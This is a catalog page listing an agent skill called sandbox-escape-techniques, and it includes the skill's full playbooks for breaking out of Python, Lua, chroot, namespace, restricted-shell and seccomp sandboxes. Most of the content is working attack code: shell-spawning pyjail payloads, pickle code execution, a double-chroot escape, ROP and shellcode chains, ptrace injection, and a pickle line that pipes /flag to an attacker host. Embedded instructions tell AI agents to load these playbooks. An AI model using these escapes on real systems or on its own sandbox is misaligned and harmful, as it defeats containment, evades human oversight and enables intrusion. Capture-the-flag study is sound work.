
Sandbox Escape Techniques
- 2.2k installs
- 1.5k repo stars
- Updated June 16, 2026
- yaklang/hack-skills
sandbox-escape-techniques is an agent skill that Sandbox escape playbook. Use when breaking out of Python sandbox, Lua sandbox, seccomp filter, chroot jail, container/Docker, browser sandbox, or namespace isolation to a.
About
The sandbox-escape-techniques skill. Sandbox escape playbook. Use when breaking out of Python sandbox, Lua sandbox, seccomp filter, chroot jail, container/Docker, browser sandbox, or namespace isolation to achieve unrestricted code execution or file access. Covers CTF pyjail patterns, seccomp architecture confusion, chroot fd leaks, namespace escape, and Mojo IPC abuse. Distilled from ctf-wiki sandbox sections and real-world container escapes. Base models often miss the distinction between sandbox types and apply wrong escape techniques. PYTHON SANDBOX ESCAPE (OVERVIEW) See [PYTHON_SANDBOX_ESCAPE.md](./PYTHON_SANDBOX_ESCAPE.md) for full methodology. LUA SANDBOX ESCAPE ### Restricted Environment Bypass ### Lua FFI Escape (LuaJIT) --- ## 4. NAMESPACE ESCAPE ### User Namespace Escalation ### PID Namespace Escape ### Mount Namespace Tricks --- ## 7. The workflow follows the source SKILL.md contract with progressive reference loading, clear trigger phrases, and practical steps developers can apply directly in agent sessions.
- [browser-exploitation-v8](../browser-exploitation-v8/SKILL.md) - V8 exploitation for renderer RCE before browser sandb
- [container-escape-techniques](../container-escape-techniques/SKILL.md) - Docker/container specific escape techniques
- [kernel-exploitation](../kernel-exploitation/SKILL.md) - kernel exploit for container/namespace escape
- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) - post-escape privilege escalation
- [PYTHON_SANDBOX_ESCAPE.md](./PYTHON_SANDBOX_ESCAPE.md) - Full pyjail methodology: `__builtins__` recovery, keyword byp
Sandbox Escape Techniques by the numbers
- 2,223 all-time installs (skills.sh)
- +123 installs in the week ending Aug 5, 2026 (Skillselion tracking)
- Ranked #276 of 2,203 Security skills by installs in the Skillselion catalog
- Security screen: CRITICAL risk (skills.sh audit)
- Data as of Aug 5, 2026 (Skillselion catalog sync)
sandbox-escape-techniques capabilities & compatibility
- Capabilities
- [browser exploitation v8](../browser exploitatio · [container escape techniques](../container escap · [kernel exploitation](../kernel exploitation/ski · [linux privilege escalation](../linux privilege · [python_sandbox_escape.md](./python_sandbox_esca
- Use cases
- security audit · testing · debugging
What sandbox-escape-techniques says it does
Covers CTF pyjail patterns, seccomp architecture confusion, chroot fd leaks, namespace escape, and Mojo IPC abuse.
Distilled from ctf-wiki sandbox sections and real-world container escapes.
npx skills add https://github.com/yaklang/hack-skills --skill sandbox-escape-techniquesAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 2.2k |
|---|---|
| repo stars | ★ 1.5k |
| Security audit | 0 / 3 scanners passed |
| Last updated | June 16, 2026 |
| Repository | yaklang/hack-skills ↗ |
How do I apply sandbox-escape-techniques correctly using the SKILL.md workflows and reference files?
Sandbox escape playbook. Use when breaking out of Python sandbox, Lua sandbox, seccomp filter, chroot jail, container/Docker, browser sandbox, or namespace isolation to achieve unrestricted code execu
Who is it for?
Developers and software engineers working with sandbox-escape-techniques patterns from the skill documentation.
Skip if: Skip when cached docs are empty, boilerplate-only, or outside the skill documented scope.
When should I use this skill?
Sandbox escape playbook. Use when breaking out of Python sandbox, Lua sandbox, seccomp filter, chroot jail, container/Docker, browser sandbox, or namespace isolation to achieve unrestricted code execution or file access.
What you get
Grounded sandbox-escape-techniques guidance with highlights, triggers, and evidence quotes from SKILL.md.
- Pyjail escape payload chains
- Sandbox bypass technique documentation
By the numbers
- Covers 7 escape categories: __builtins__ recovery, getattr/chr bypass, AST bypass, RestrictedPython, exec globals, file
Files
SKILL: Sandbox Escape — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert sandbox escape techniques across Python, Lua, seccomp, chroot, Docker/container, and browser sandbox contexts. Covers CTF pyjail patterns, seccomp architecture confusion, chroot fd leaks, namespace escape, and Mojo IPC abuse. Distilled from ctf-wiki sandbox sections and real-world container escapes. Base models often miss the distinction between sandbox types and apply wrong escape techniques.
0. RELATED ROUTING
- browser-exploitation-v8 — V8 exploitation for renderer RCE before browser sandbox escape
- container-escape-techniques — Docker/container specific escape techniques
- kernel-exploitation — kernel exploit for container/namespace escape
- linux-privilege-escalation — post-escape privilege escalation
Advanced References
- PYTHON_SANDBOX_ESCAPE.md — Full pyjail methodology:
__builtins__recovery, keyword bypass, AST bypass, pickle escape - SECCOMP_BYPASS.md — Architecture confusion, io_uring bypass, ptrace bypass, allowed syscall chaining
---
1. SANDBOX TYPE IDENTIFICATION
| Sandbox Type | Indicators | Typical Context |
|---|---|---|
| Python sandbox (pyjail) | Limited builtins, filtered keywords, exec/eval available | CTF, online judges, Jupyter |
| Lua sandbox | No os, io modules; restricted metatables | Game scripting, config |
| seccomp | syscall filtering, prctl(PR_SET_SECCOMP) | CTF pwn, container hardening |
| chroot | Changed root filesystem, limited /proc access | Legacy isolation |
| Docker/container | Namespaces, cgroups, reduced capabilities | Cloud, microservices |
| Browser (renderer) | OS-level sandbox (seccomp-bpf + namespaces on Linux) | Chrome, Firefox |
| Namespace isolation | PID/mount/network/user namespace | Container runtimes |
---
2. PYTHON SANDBOX ESCAPE (OVERVIEW)
See PYTHON_SANDBOX_ESCAPE.md for full methodology.
Quick Reference
| Technique | One-Liner |
|---|---|
| Subclass walk | ().__class__.__bases__[0].__subclasses__() → find os._wrap_close → __init__.__globals__['system'] |
| Import recovery | __builtins__.__import__('os').system('sh') |
| getattr bypass | getattr(getattr(__builtins__, '__imp'+'ort__'), '__call__')('os') |
| chr construction | eval(chr(95)+chr(95)+'import'+chr(95)+chr(95)) |
| Pickle escape | pickle.loads(b"cos\nsystem\n(S'sh'\ntR.") |
| Code object | Construct types.CodeType(...) then exec() with custom bytecode |
---
3. LUA SANDBOX ESCAPE
Restricted Environment Bypass
-- If debug library available:
debug.getinfo(1) -- information leakage
debug.getregistry() -- access global registry
debug.getupvalue(func, 1) -- read closed-over variables
debug.setupvalue(func, 1, new_val) -- overwrite upvalues
-- Recover os module via debug:
local getupvalue = debug.getupvalue
-- Walk upvalues of known functions to find references to os/io
-- If loadstring available:
loadstring("os.execute('sh')")()
-- If string.dump available:
-- Dump function bytecode, patch it, load modified function
-- Metatables escape:
-- If rawset/rawget blocked but __index/__newindex exists:
-- Forge metatable chain to access restricted globalsLua FFI Escape (LuaJIT)
-- LuaJIT FFI provides C function access
local ffi = require("ffi")
ffi.cdef[[ int system(const char *command); ]]
ffi.C.system("sh")
-- If require is blocked but ffi is preloaded:
-- Find ffi via package.loaded or debug.getregistry---
4. CHROOT ESCAPE
| Technique | Condition | Method |
|---|---|---|
| Open fd to real root | File descriptor leaked from outside chroot | fchdir(leaked_fd) then chroot(".") |
| Double chroot | Process is root inside chroot | mkdir("x"); chroot("x"); chdir("../../../..") |
| TIOCSTI ioctl | Terminal access (fd 0 is a TTY) | Inject keystrokes to parent shell via ioctl(0, TIOCSTI, &c) |
| /proc access | /proc mounted inside chroot | /proc/1/root/ → access real root filesystem |
| ptrace | CAP_SYS_PTRACE | Attach to process outside chroot |
| Mount namespace | Privileged | Mount real root into chroot |
Double Chroot Escape
// Must be root inside chroot
mkdir("/tmp/escape", 0755);
chroot("/tmp/escape"); // new chroot inside old chroot
// Old CWD is now outside the new chroot
// Navigate up to real root:
for (int i = 0; i < 100; i++) chdir("..");
chroot("."); // now at real root
execl("/bin/sh", "sh", NULL);---
5. BROWSER SANDBOX ESCAPE (OVERVIEW)
Chrome Sandbox Architecture (Linux)
Renderer Process:
├── seccomp-bpf (syscall filter)
├── PID namespace (isolated PIDs)
├── Network namespace (no direct network)
├── Mount namespace (minimal filesystem)
└── Reduced capabilities (no CAP_SYS_ADMIN etc.)Escape Vectors
| Vector | Description |
|---|---|
| Mojo IPC bug | UAF or type confusion in Mojo interface handler in browser process |
| Shared memory corruption | Corrupt shared memory segments between renderer and browser |
| GPU process bug | Exploit GPU process (less sandboxed) as stepping stone |
| Kernel exploit | Escape directly via kernel vulnerability (bypasses all sandboxing) |
| Signal handling | Race condition in signal delivery across sandbox boundary |
Mojo Interface Attack Pattern
1. Renderer RCE achieved (via V8/Blink bug)
2. Enumerate available Mojo interfaces from renderer
3. Find vulnerable interface (UAF on message handling, integer overflow in parameter validation)
4. Craft malicious Mojo message → trigger bug in browser process
5. Browser process is unsandboxed → full system access---
6. NAMESPACE ESCAPE
User Namespace Escalation
# If allowed to create user namespaces (unprivileged):
unshare -Urm # Create new user + mount namespace as root inside
# Inside namespace: can mount, modify, etc.
# Escape requires kernel bug or misconfigurationPID Namespace Escape
# If /proc is from host (misconfigured container):
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# Enters init process namespaces → host accessMount Namespace Tricks
# If can see host filesystem via /proc/1/root:
ls -la /proc/1/root/ # host root filesystem
cat /proc/1/root/etc/shadow # read host files
# If can mount:
mount -t proc proc /proc
# Access host /proc entries---
7. RBASH / RESTRICTED SHELL ESCAPE
| Technique | Method |
|---|---|
| vi/vim | :!/bin/bash or :set shell=/bin/bash then :shell |
| less/more | !/bin/bash |
| awk | awk 'BEGIN {system("/bin/bash")}' |
| find | find / -exec /bin/bash \; |
| python/perl/ruby | python -c 'import pty;pty.spawn("/bin/bash")' |
| ssh | ssh user@host -t /bin/bash |
| Environment | export PATH=/usr/bin:/bin; /bin/bash |
| cp | Copy /bin/bash to allowed directory |
| git | git help config → then !/bin/bash in pager |
| Encoding | `echo /bin/bash |
---
8. DECISION TREE
What type of sandbox?
├── Python sandbox (pyjail)?
│ └── See PYTHON_SANDBOX_ESCAPE.md
│ ├── __builtins__ available? → direct import
│ ├── Subclass walk: ().__class__.__bases__[0].__subclasses__()
│ ├── Keywords filtered? → chr()/getattr() construction
│ └── eval/exec available? → code object manipulation
│
├── Lua sandbox?
│ ├── debug library available? → getregistry/getupvalue
│ ├── FFI available (LuaJIT)? → ffi.C.system()
│ ├── loadstring available? → load arbitrary code
│ └── All restricted? → metatable chain exploitation
│
├── seccomp filter?
│ └── See SECCOMP_BYPASS.md
│ ├── Architecture confusion (32-bit syscalls from 64-bit)
│ ├── Allowed syscalls → ORW chain
│ ├── io_uring allowed? → bypass via io_uring
│ └── ptrace allowed? → debug child process
│
├── chroot jail?
│ ├── Root inside chroot? → double chroot escape
│ ├── Leaked fd? → fchdir to real root
│ ├── /proc mounted? → /proc/1/root access
│ └── Terminal access? → TIOCSTI injection
│
├── Container / Docker?
│ ├── Privileged container? → mount host, load kernel module
│ ├── Mounted docker.sock? → docker API → escape
│ ├── See ../container-escape-techniques/SKILL.md
│ └── Kernel exploit → full escape
│
├── Browser sandbox?
│ ├── Have renderer RCE? → target Mojo IPC for browser escape
│ ├── GPU process accessible? → less-sandboxed stepping stone
│ └── Kernel exploit → bypass sandbox entirely
│
└── Restricted shell (rbash)?
└── Find any interactive program (vi, less, python, awk, git)Python Sandbox Escape (Pyjail) — Complete Methodology
AI LOAD INSTRUCTION: Load this for complete pyjail escape techniques. Covers__builtins__recovery via subclass walking, keyword bypass viagetattr/chr(), AST-based sandbox bypass, RestrictedPython escape, exec with custom globals, file read withoutopen(), pickle deserialization, and code object manipulation. Assumes SKILL.md is loaded for sandbox type identification.
---
1. __builtins__ RECOVERY VIA SUBCLASS WALKING
The fundamental technique: walk Python's class hierarchy to find useful classes.
The Chain
# Start from any object literal
().__class__ # <class 'tuple'>
().__class__.__bases__ # (<class 'object'>,)
().__class__.__bases__[0] # <class 'object'>
().__class__.__bases__[0].__subclasses__() # ALL loaded classes
# Find useful subclass (index varies by Python version):
# Look for: os._wrap_close, warnings.catch_warnings, subprocess.Popen
# Example: find os._wrap_close
for i, cls in enumerate(''.__class__.__bases__[0].__subclasses__()):
if 'wrap_close' in str(cls):
print(i, cls)
break
# Access os.system via __init__.__globals__
().__class__.__bases__[0].__subclasses__()[INDEX].__init__.__globals__['system']('sh')Common Useful Subclasses
| Class | Access | Use |
|---|---|---|
os._wrap_close | .__init__.__globals__['system'] | Command execution |
warnings.catch_warnings | .__init__.__globals__['__builtins__']['__import__'] | Recover __import__ |
subprocess.Popen | Direct: Popen(['sh'], ...) | Command execution |
importlib._bootstrap._ModuleLock | .__init__.__globals__ | Access import machinery |
codecs.IncrementalDecoder | .__init__.__globals__ | Another globals access point |
Alternative Starting Points
''.__class__.__mro__[1].__subclasses__() # from string
[].__class__.__mro__[1].__subclasses__() # from list
{}.__class__.__mro__[1].__subclasses__() # from dict
(0).__class__.__mro__[1].__subclasses__() # from int
True.__class__.__mro__[1].__subclasses__() # from bool---
2. KEYWORD BYPASS TECHNIQUES
When import/os/system are Filtered
# String concatenation
__builtins__.__dict__['__imp'+'ort__']('o'+'s').system('sh')
# getattr
getattr(__builtins__, '__import__')('os').system('sh')
getattr(getattr(__builtins__, '__impo' + 'rt__')('o' + 's'), 'system')('sh')
# chr() construction
eval(chr(95)*2 + chr(105) + chr(109) + chr(112) + chr(111) + chr(114) + chr(116) + chr(95)*2)
# Builds "__import__"
# Hex escape in string
eval("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f('os').system('sh')")
# Unicode escape
eval("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f('os')")
# Base64
import base64
eval(base64.b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ3NoJyk='))When Quotes are Filtered
# Use chr() to build strings without quotes
s = chr(115) + chr(104) # "sh"
__import__(chr(111)+chr(115)).system(s)
# Use bytes/bytearray
eval(bytes([111, 115]).decode()) # "os"
# Use input() in Python 2 (reads from stdin)
# Use dict keys: list({1:2})[0].__class__.__name__ etc.When Dots are Filtered
# Use getattr
getattr(getattr(__builtins__, '__import__')('os'), 'system')('sh')
# Use __getattribute__
''.__class__.__getattribute__(''.__class__, '__bases__')When Parentheses are Filtered
# Python 2: print is a statement
# Python 3: decorators, class definitions, or __init_subclass__
@exec
@input
class X:
pass
# Prompts for input, evaluates as Python code
# Using __init_subclass__
class Exploit:
def __init_subclass__(cls, **kwargs):
__import__('os').system('sh')
class Trigger(Exploit):
pass---
3. AST-BASED SANDBOX BYPASS
Some sandboxes parse the AST and block dangerous nodes.
Common AST Restrictions and Bypasses
| Blocked AST Node | Bypass |
|---|---|
ast.Import / ast.ImportFrom | Use __import__() call instead |
ast.Call | Use decorators, __init_subclass__, or class instantiation side effects |
ast.Attribute (dot access) | Use getattr() or __getattribute__ |
ast.Subscript ([]) | Use __getitem__ method |
| All expressions | Use format strings: f"{__import__('os').system('sh')}" |
Bypassing Call Restriction
# If ast.Call is blocked but ast.FunctionDef is allowed:
class X:
__class_getitem__ = staticmethod(exec)
X['__import__("os").system("sh")'] # Subscript triggers exec
# Or via __init_subclass__
class Base:
def __init_subclass__(cls, cmd='', **kwargs):
__import__('os').system(cmd)
class Evil(Base, cmd='sh'):
pass---
4. RESTRICTEDPYTHON BYPASS
RestrictedPython is used in Plone/Zope and some CTFs.
Key Restrictions and Escapes
| Restriction | Bypass |
|---|---|
No _ prefix attributes | Use getattr with computed string |
No __import__ | Walk __subclasses__ to find import mechanism |
_getattr_ wrapper | Find code path that doesn't go through _getattr_ |
_getiter_ wrapper | Use map/filter instead of direct iteration |
# RestrictedPython typically instruments attribute access with _getattr_
# Bypass by accessing __globals__ through method __func__
[x for x in ().__class__.__bases__[0].__subclasses__()
if 'BuiltinImporter' in str(x)][0].load_module('os').system('sh')---
5. FILE READ WITHOUT open()
# help() function leaks file contents
help.__class__.__init__.__globals__ # access globals
# license() / credits() in interactive mode
# They use open() internally
# pathlib
from pathlib import Path
Path('/etc/passwd').read_text()
# os module
import os
os.read(os.open('/etc/passwd', os.O_RDONLY), 1000)
# codecs
import codecs
codecs.open('/etc/passwd').read()
# URL handlers
import urllib.request
urllib.request.urlopen('file:///etc/passwd').read()
# linecache
import linecache
linecache.getlines('/etc/passwd')---
6. PICKLE DESERIALIZATION ESCAPE
If the sandbox uses pickle.loads() on untrusted data:
import pickle
import os
class Exploit(object):
def __reduce__(self):
return (os.system, ('sh',))
# Serialize
payload = pickle.dumps(Exploit())
# Raw pickle opcodes (no Python class needed):
# cos\nsystem\n(S'sh'\ntR.
payload = b"cos\nsystem\n(S'sh'\ntR."
pickle.loads(payload) # executes os.system('sh')Advanced Pickle Gadgets
# Multi-stage: read file + send over network
payload = b"""(S'curl http://attacker/?flag='
ios
system
(S'cat /flag | curl -d @- http://attacker/'
tR."""
# Using __import__ in pickle:
# c__builtin__\n__import__\n(S'os'\ntRp0\n(S'system'\ng0\ntR---
7. CODE OBJECT MANIPULATION
Construct a Python code object to bypass restrictions on exec/eval.
import types
# Build code object that calls os.system
code = types.CodeType(
0, # argcount
0, # posonlyargcount (Python 3.8+)
0, # kwonlyargcount
2, # nlocals
4, # stacksize
0, # flags
b'\x97\x00...', # bytecode (platform-specific)
(None,), # constants
('__import__', 'os', 'system', 'sh'), # names
(), # varnames
'exploit', # filename
'exploit', # name
1, # firstlineno
b'', # lnotab
)
exec(code)Simpler: Compile + Modify
# Compile allowed code, modify bytecode to do something else
c = compile("pass", "<x>", "exec")
# Replace co_code, co_consts, co_names in the code object
# Then exec(modified_code)---
8. PYTHON 2 vs PYTHON 3 DIFFERENCES
| Aspect | Python 2 | Python 3 |
|---|---|---|
input() | Evaluates expression (dangerous) | Reads string (safe) |
exec | Statement: exec "code" | Function: exec("code") |
| String types | str (bytes) + unicode | str (unicode) + bytes |
file() builtin | Exists: file('/etc/passwd').read() | Removed |
| Division | Integer division by default | Float division |
__builtins__ | Module or dict (context-dependent) | Module or dict |
---
9. CTF PYJAIL QUICK CHECKLIST
1. What Python version? (2 vs 3, exact minor)
2. What's available in __builtins__?
3. Is eval/exec available?
4. Is __import__ available?
5. Are underscores (_) allowed?
6. Are dots (.) allowed?
7. Are parentheses allowed?
8. Are quotes (' ") allowed?
9. Character length limit?
10. Newline allowed? (multi-statement)
11. Is output returned to you?
12. What modules are pre-imported?
13. Is the jail forking or threading?
14. Any AST-level restrictions?
15. Is pickle/marshal/shelve used anywhere?---
10. DECISION TREE
Python sandbox escape
├── __builtins__ intact?
│ ├── YES → __import__('os').system('sh')
│ └── NO → need to recover builtins
├── Can access __class__/__bases__/__subclasses__?
│ ├── YES → subclass walk to find os/subprocess
│ └── NO (underscores blocked)
│ ├── getattr available? → getattr((), chr(95)*2 + 'class' + chr(95)*2)
│ └── Everything blocked? → try decorators, f-strings, code objects
├── Keywords filtered?
│ ├── String concat: 'im'+'port'
│ ├── chr(): chr(105)+chr(109)+...
│ ├── Hex: "\x69\x6d\x70\x6f\x72\x74"
│ └── getattr + computed string
├── eval/exec available?
│ ├── YES → construct payload string + eval/exec
│ └── NO → class tricks (__init_subclass__, __class_getitem__)
├── Pickle/marshal in scope?
│ └── YES → craft malicious pickle → os.system via __reduce__
└── Need file read only (no exec)?
├── pathlib.Path.read_text()
├── os.read(os.open(...))
└── linecache.getlines()Seccomp Bypass — Architecture Confusion, io_uring, Allowed Syscall Chaining
AI LOAD INSTRUCTION: Load this for seccomp filter bypass techniques. Covers architecture confusion (x86_64/x86 syscall number mismatch), io_uring bypass, ptrace-based bypass, allowed syscall chaining for ORW, namespace escape, and return value manipulation. Assumes SKILL.md is loaded for sandbox type identification.
---
1. SECCOMP FUNDAMENTALS
Seccomp Modes
| Mode | Set Via | Behavior |
|---|---|---|
| Strict mode | prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT) | Only read, write, exit, sigreturn allowed |
| Filter mode (BPF) | prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, prog) | Custom BPF program decides per syscall |
BPF Filter Structure
struct seccomp_data {
int nr; // syscall number
__u32 arch; // AUDIT_ARCH_X86_64, AUDIT_ARCH_I386, etc.
__u64 instruction_pointer;
__u64 args[6]; // syscall arguments
};Reading seccomp Rules
# Dump seccomp filter from binary
seccomp-tools dump ./binary
# Output example:
# line CODE JT JF K
# 0000: 0x20 00 00 00000004 A = arch
# 0001: 0x15 00 05 c000003e if (A != ARCH_X86_64) goto 0007
# 0002: 0x20 00 00 00000000 A = sys_number
# 0003: 0x15 03 00 0000003b if (A == execve) goto 0007 (KILL)
# 0004: 0x15 02 00 00000142 if (A == execveat) goto 0007 (KILL)
# 0005: 0x06 00 00 7fff0000 return ALLOW---
2. ARCHITECTURE CONFUSION
x86_64 processes can invoke x86 (32-bit) syscalls using `int 0x80`. Syscall numbers differ between architectures.
Attack Scenario
seccomp filter:
if arch != AUDIT_ARCH_X86_64 → KILL (blocks 32-bit)
if nr == 59 (execve) → KILL
else → ALLOW
Bypass: The filter checks arch correctly. NOT vulnerable to simple confusion.
Vulnerable filter:
if nr == 59 (execve) → KILL ← only checks x86_64 syscall numbers
else → ALLOW
(no arch check!)
Bypass:
Use int 0x80 with 32-bit syscall number for execve (11, not 59)
Filter sees nr=11, doesn't match 59 → ALLOW → execve executes!x86 vs x86_64 Syscall Number Table (Key Differences)
| Syscall | x86_64 nr | x86 (32-bit) nr |
|---|---|---|
| read | 0 | 3 |
| write | 1 | 4 |
| open | 2 | 5 |
| execve | 59 | 11 |
| mmap | 9 | 90 (old) / 192 (mmap2) |
| mprotect | 10 | 125 |
Exploitation Code
; 32-bit execve via int 0x80 from 64-bit process
; Note: registers are truncated to 32 bits
mov ebx, binsh_addr_low32 ; arg1: filename (must be in low 4GB)
xor ecx, ecx ; arg2: argv = NULL
xor edx, edx ; arg3: envp = NULL
mov eax, 11 ; __NR_execve (32-bit)
int 0x80 ; invoke 32-bit syscall interfaceConstraint: All addresses must be in the lower 4GB (32-bit addressable). Use mmap(addr, size, ..., MAP_32BIT, ...) or ensure data is on stack (which may be below 4GB on some configs).
---
3. ORW (OPEN-READ-WRITE) CHAIN
When execve is blocked but open/read/write are allowed:
ROP-based ORW
# Build ROP chain for: open("flag") → read(fd, buf, size) → write(1, buf, size)
rop = b''
# open("flag", O_RDONLY)
rop += p64(pop_rdi) + p64(flag_str_addr)
rop += p64(pop_rsi) + p64(0) # O_RDONLY
rop += p64(pop_rax) + p64(2) # SYS_open
rop += p64(syscall_ret)
# read(3, buf, 0x100) — fd=3 (first opened file)
rop += p64(pop_rdi) + p64(3)
rop += p64(pop_rsi) + p64(buf_addr)
rop += p64(pop_rdx) + p64(0x100)
rop += p64(pop_rax) + p64(0) # SYS_read
rop += p64(syscall_ret)
# write(1, buf, 0x100)
rop += p64(pop_rdi) + p64(1) # stdout
rop += p64(pop_rsi) + p64(buf_addr)
rop += p64(pop_rdx) + p64(0x100)
rop += p64(pop_rax) + p64(1) # SYS_write
rop += p64(syscall_ret)Shellcode-based ORW
; open
lea rdi, [rip + flag_path]
xor rsi, rsi
mov rax, 2
syscall
; read
mov rdi, rax ; fd from open
lea rsi, [rsp - 0x100]
mov rdx, 0x100
xor rax, rax
syscall
; write
mov rdi, 1
mov rdx, rax ; bytes read
lea rsi, [rsp - 0x100]
mov rax, 1
syscall
flag_path: .ascii "flag\x00"When open is Blocked but openat Allowed
# SYS_openat(AT_FDCWD, "flag", O_RDONLY)
# AT_FDCWD = -100 (0xffffffffffffff9c)
rop += p64(pop_rdi) + p64(0xffffffffffffff9c) # AT_FDCWD
rop += p64(pop_rsi) + p64(flag_str_addr)
rop += p64(pop_rdx) + p64(0)
rop += p64(pop_rax) + p64(257) # SYS_openat
rop += p64(syscall_ret)---
4. io_uring BYPASS
io_uring is a Linux async I/O interface (kernel ≥ 5.1). io_uring operations are handled by kernel worker threads which may bypass seccomp filters applied to the calling thread.
Why It Works
- seccomp filters are per-thread
- io_uring submission creates kernel work items processed by kworker
- kworker threads may not inherit the seccomp filter (kernel version dependent)
- Patched in kernel ≥ 5.12 (
IORING_SETUP_R_DISABLEDand seccomp propagation)
Attack
// Setup io_uring ring
struct io_uring ring;
io_uring_queue_init(8, &ring, 0);
// Submit IORING_OP_OPENAT + IORING_OP_READ + IORING_OP_WRITE
// These operations execute in kernel context, bypassing user seccomp
struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
io_uring_prep_openat(sqe, AT_FDCWD, "/flag", O_RDONLY, 0);
sqe->user_data = 1;
io_uring_submit(&ring);
// ... read completion, submit read, write operations ...Status: Fixed in modern kernels. io_uring operations now respect seccomp of the submitting thread.
---
5. PTRACE-BASED BYPASS
If ptrace syscall is allowed by seccomp:
// Fork child process (if fork allowed)
pid_t pid = fork();
if (pid == 0) {
// Child: wait for parent to attach
raise(SIGSTOP);
execve("/bin/sh", NULL, NULL); // will be intercepted by parent
} else {
// Parent: attach to child
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
waitpid(pid, NULL, 0);
ptrace(PTRACE_CONT, pid, NULL, NULL);
// Child's execve may succeed if child doesn't have seccomp
// Or: inject syscalls into child via PTRACE_POKETEXT
}Injection via ptrace
// Write syscall instruction into child's memory
ptrace(PTRACE_POKETEXT, pid, addr, syscall_bytes);
// Set child's registers
struct user_regs_struct regs;
ptrace(PTRACE_GETREGS, pid, NULL, ®s);
regs.rax = 59; // execve
regs.rdi = binsh_addr;
regs.rsi = 0;
regs.rdx = 0;
regs.rip = addr;
ptrace(PTRACE_SETREGS, pid, NULL, ®s);
ptrace(PTRACE_CONT, pid, NULL, NULL);---
6. ALLOWED SYSCALL CHAINING
Build useful primitives from seemingly-harmless allowed syscalls:
| Allowed Syscall | Primitive |
|---|---|
mmap + mprotect | Allocate RWX page → write shellcode → jump |
mprotect alone | Make existing page executable |
sendfile | sendfile(stdout_fd, file_fd, NULL, size) → exfiltrate file without read() |
splice + tee | Move data between fds without read/write |
process_vm_readv | Read another process's memory |
prctl(PR_SET_NAME) | Write 16 bytes to kernel-visible comm field |
memfd_create + execveat | Create anonymous file → execute it (if both allowed) |
sendfile ORW Alternative
# If read/write blocked but sendfile allowed:
# open flag file
rop += pop_rdi + flag_str + pop_rsi + p64(0) + pop_rax + p64(2) + syscall_ret
# sendfile(1, 3, NULL, 0x100) — out_fd=stdout, in_fd=3
rop += pop_rdi + p64(1) + pop_rsi + p64(3) + pop_rdx + p64(0)
rop += pop_r10 + p64(0x100) + pop_rax + p64(40) + syscall_ret # SYS_sendfile=40---
7. NAMESPACE + SECCOMP INTERACTION
unshare for Filesystem Access
If unshare is allowed:
// Create new mount namespace
unshare(CLONE_NEWNS);
// Mount procfs or other filesystems
mount("proc", "/proc", "proc", 0, NULL);
// Access files via /proc that weren't available beforeUser Namespace Tricks
// Create user namespace (unprivileged)
unshare(CLONE_NEWUSER);
// Inside: UID 0 (fake root)
// Can mount FUSE, access /proc differently
// Some seccomp filters don't account for namespace changes---
8. RETURN VALUE MANIPULATION
SECCOMP_RET_ERRNO
Some filters return SECCOMP_RET_ERRNO instead of SECCOMP_RET_KILL. The syscall fails but the process continues.
// If filter returns ERRNO for dangerous calls:
// Process survives → try alternative syscalls
// Example: execve returns EPERM → try execveat instead
// Or: brute-force which syscalls are allowed vs killed vs ERRNOSECCOMP_RET_TRACE
If filter uses SECCOMP_RET_TRACE, a tracer (ptrace parent) can modify syscall number and arguments before execution.
---
9. DECISION TREE
seccomp filter active
├── Dump rules: seccomp-tools dump ./binary
├── Architecture check present?
│ ├── NO → architecture confusion (use int 0x80 for 32-bit syscalls)
│ └── YES → 32-bit bypass blocked
├── What's blocked?
│ ├── Only execve/execveat → ORW chain (open+read+write or openat+read+write)
│ ├── execve + open → openat? sendfile? io_uring?
│ ├── execve + open + openat → io_uring (if kernel < 5.12)?
│ └── Whitelist mode (only specific allowed)?
│ ├── mmap + mprotect allowed? → shellcode execution
│ ├── sendfile allowed? → file exfiltration without read/write
│ ├── ptrace allowed? → inject syscalls into child
│ └── Check every alternative: splice, tee, process_vm_readv
├── Kernel version?
│ ├── < 5.1 → no io_uring available
│ ├── 5.1–5.11 → io_uring bypass possible
│ └── ≥ 5.12 → io_uring seccomp-aware
├── Can fork/clone?
│ ├── YES + ptrace allowed → inject syscalls into child process
│ └── NO → single-process escape only
└── RET_KILL vs RET_ERRNO?
├── RET_KILL → process dies on violation (must avoid blocked calls)
└── RET_ERRNO → process survives, try alternative syscallsRelated skills
How it compares
Pick sandbox-escape-techniques over general security skills when the assessment specifically targets Python pyjail or RestrictedPython in LLM agent code execution.
FAQ
Who is sandbox-escape-techniques for?
Developers and software engineers working with sandbox-escape-techniques patterns from the skill documentation.
When should I use sandbox-escape-techniques?
Sandbox escape playbook. Use when breaking out of Python sandbox, Lua sandbox, seccomp filter, chroot jail, container/Docker, browser sandbox, or namespace isolation to achieve unrestricted code execution or file access.
Is sandbox-escape-techniques safe to install?
Review the Security Audits panel on this page before installing in production.